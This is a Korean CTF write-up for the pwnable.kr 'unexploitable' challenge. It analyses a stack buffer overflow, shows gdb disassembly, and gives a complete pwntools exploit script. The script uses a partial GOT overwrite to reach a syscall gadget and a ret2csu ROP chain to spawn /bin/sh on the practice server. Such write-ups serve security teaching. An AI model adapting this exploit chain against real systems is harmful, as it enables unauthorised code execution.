pwable.kr unexploitable write-up
소스코드 분석
1
2
3
4
5
6
7
8
#include <stdio.h>
void main(){
// no brute forcing
sleep(3);
// exploit me
int buf[4];
read(0, buf, 1295);
}
코드는 간단하다.
출력함수 없이 read 함수만 존재하고 bof가 터진다.
취약점 분석
가젯이 많이 부족하다.
쓸만한 가젯을 찾던 중에 syscall을 발견했고, csu 부분을 이용해서 execve를 실행시키면 될 거 같다.
syscall은 read 함수의 got를 1byte 변조해서 사용했다.
1
2
3
4
5
6
7
8
pwndbg> disas read
Dump of assembler code for function __GI___libc_read:
0x00007ffff7af2140 <+0>: lea rax,[rip+0x2e0891] # 0x7ffff7dd29d8 <__libc_multiple_threads>
0x00007ffff7af2147 <+7>: mov eax,DWORD PTR [rax]
0x00007ffff7af2149 <+9>: test eax,eax
0x00007ffff7af214b <+11>: jne 0x7ffff7af2160 <__GI___libc_read+32>
0x00007ffff7af214d <+13>: xor eax,eax
0x00007ffff7af214f <+15>: syscall
하위 1byte를 0x4f로 변조해줬다.
사실 삽질을 굉장히 많이 했는데, 처음엔 sleep 함수의 got를 변조할 생각이었다.
하지만 syscall의 주소가 sleep 함수의 got와 하위 1.5 byte가 달랐기 때문에 실패하였다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> disas sleep
Dump of assembler code for function __sleep:
0x00007ffff7ac6640 <+0>: push rbp
0x00007ffff7ac6641 <+1>: push rbx
0x00007ffff7ac6642 <+2>: sub rsp,0x28
0x00007ffff7ac6646 <+6>: mov rbx,QWORD PTR [rip+0x30681b] # 0x7ffff7dcce68
0x00007ffff7ac664d <+13>: mov rax,QWORD PTR fs:0x28
0x00007ffff7ac6656 <+22>: mov QWORD PTR [rsp+0x18],rax
0x00007ffff7ac665b <+27>: xor eax,eax
0x00007ffff7ac665d <+29>: mov eax,edi
0x00007ffff7ac665f <+31>: mov rdi,rsp
0x00007ffff7ac6662 <+34>: mov QWORD PTR [rsp+0x8],0x0
0x00007ffff7ac666b <+43>: mov rsi,rdi
0x00007ffff7ac666e <+46>: mov ebp,DWORD PTR fs:[rbx]
0x00007ffff7ac6671 <+49>: mov QWORD PTR [rsp],rax
0x00007ffff7ac6675 <+53>: call 0x7ffff7ac6760 <__GI___nanosleep> # here
1
2
3
4
5
6
7
8
pwndbg> disas __GI___nanosleep
Dump of assembler code for function __GI___nanosleep:
0x00007ffff7ac6760 <+0>: lea rax,[rip+0x30c271] # 0x7ffff7dd29d8 <__libc_multiple_threads>
0x00007ffff7ac6767 <+7>: mov eax,DWORD PTR [rax]
0x00007ffff7ac6769 <+9>: test eax,eax
0x00007ffff7ac676b <+11>: jne 0x7ffff7ac6780 <__GI___nanosleep+32>
0x00007ffff7ac676d <+13>: mov eax,0x23
0x00007ffff7ac6772 <+18>: syscall # here
때문에 read 함수의 syscall을 사용하기로 했다.
일단 read 함수를 통해서 bss 영역에 /bin/sh 문자열을 써주었고, 다시 read 함수를 사용해서 read@got를 syscall로 변조해줬다.
하위 1byte를 변조했기 때문에 rax는 1로 세팅이 되어있었고, 덕분에 write 함수를 사용할 수 있었다.
아무 곳에서 execve의 syscall number만큼 읽어들이면 rax가 그 숫자로 맞춰지기 때문에 rdi에 아까 써둔 문자열이 위치한 bss 영역의 주소를 넣어주면 쉘을 실행시킬 수 있다.
익스플로잇
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#unexploitable.py
from pwn import *
s = ssh(user='unexploitable',host='pwnable.kr',port=2222,password='guest')
p = s.process("./unexploitable")
# p = process('./unexploitable')
e = ELF('./unexploitable')
bss = e.bss()
read_plt = e.plt['read']
read_got = e.got['read']
csu_init = p64(0x00000000004005e6)
csu_call = p64(0x00000000004005d0)
payload = 'A' * 24
payload += csu_init
payload += 'A' * 8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(bss)
payload += p64(0x8)
payload += csu_call
payload += 'A' * 0x38
payload += csu_init
payload += 'A' * 8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(read_got)
payload += p64(1)
payload += csu_call
payload += 'A' * 0x38
payload += csu_init
payload += 'A' * 8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(1)
payload += p64(read_got)
payload += p64(0x3b)
payload += csu_call
payload += 'A' * 0x38
payload += csu_init
payload += 'A' * 8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(bss)
payload += p64(0)
payload += p64(0)
payload += csu_call
p.send(payload)
sleep(3)
p.send('/bin/sh\\x00')
sleep(3)
p.send('\\x5e\\x00')
p.interactive()
쉘을 획득했다.
This post is licensed under CC BY 4.0 by the author.